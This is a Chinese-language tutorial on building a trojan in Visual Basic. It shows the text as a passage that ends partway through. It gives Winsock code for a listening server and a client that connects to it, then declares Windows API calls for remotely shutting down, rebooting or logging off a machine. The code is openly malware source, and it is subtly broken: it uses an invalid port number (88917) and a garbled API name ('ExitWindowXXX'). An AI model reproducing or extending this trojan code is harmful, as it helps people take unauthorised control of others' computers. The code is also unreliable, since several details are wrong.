利用VisualBasic實(shí)現(xiàn)木馬攻擊

字號(hào):

首先,新建一工程,名為Server,新建一個(gè)窗體,Name為Server,在窗體中加入一個(gè)winsock控件,Name設(shè)為sckServer,協(xié)議設(shè)為默認(rèn)的TCP/IP協(xié)議。
    接下來(lái)我們回來(lái)Server窗體模塊中,添加如下代碼:
    Private Sub form_Load()
     With Me
     .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日?。?BR>     .sckServer.Listen '開始監(jiān)聽
     End With
    End Sub
    '接受客戶端的連接請(qǐng)求。
    Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
     With Me
     If .sckServer.State <>sckClosed Then .sckServer.Close
     .sckServer.Accept (requestID)
     End With
    End Sub
     下面我們來(lái)建立客戶端程序:新建一個(gè)工程,名為Client,把窗體名為Client,在上面加入一個(gè)winsock控件,名為sckClient,協(xié)議為TCP/IP協(xié)議。再加一個(gè)按鈕cmdConnect在窗體模塊中加入代碼:
    Private Sub form_Load()
     With Me
     .sckClient.RemoteHost = "127.0.0.1"'設(shè)置遠(yuǎn)程IP,本例設(shè)為本機(jī)。
     .sckClient.RemotePort = 88917 '遠(yuǎn)程端口,就為server中的設(shè)置一樣.
     End With
    End Sub
    Private sub cmdConnect_Click()
     SckClient.Connect
    End sub
     至此,單擊Connect按鈕我們的兩個(gè)工程已經(jīng)可以進(jìn)行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print “Connetion successful!”來(lái)查看。
     這僅是第一步,一點(diǎn)工作也做不了,下面我們來(lái)為它們添加功能。為了簡(jiǎn)單,本文章只實(shí)現(xiàn)一點(diǎn)小小的功能―――關(guān)機(jī),重啟,注銷。好,開始吧!
     在Server工程中新建一個(gè)模塊,Name為modApi,這個(gè)??鞛橐恍〢PI函數(shù),添加如下API函數(shù):
    Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    Public Const EWX_LOGOFF = 0
    Public Const EWX_REBOOT = 2
    Public Const EWX_SHUTDOWN = 1
    Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
    Public Type RECT
     Left As Long
     Top As Long
     Right As Long
     Bottom As Long
    End Type
     注:在兩個(gè)socket中編程中,進(jìn)行通信的重要事件是DataArrival事件,用于接收遠(yuǎn)程數(shù)據(jù)。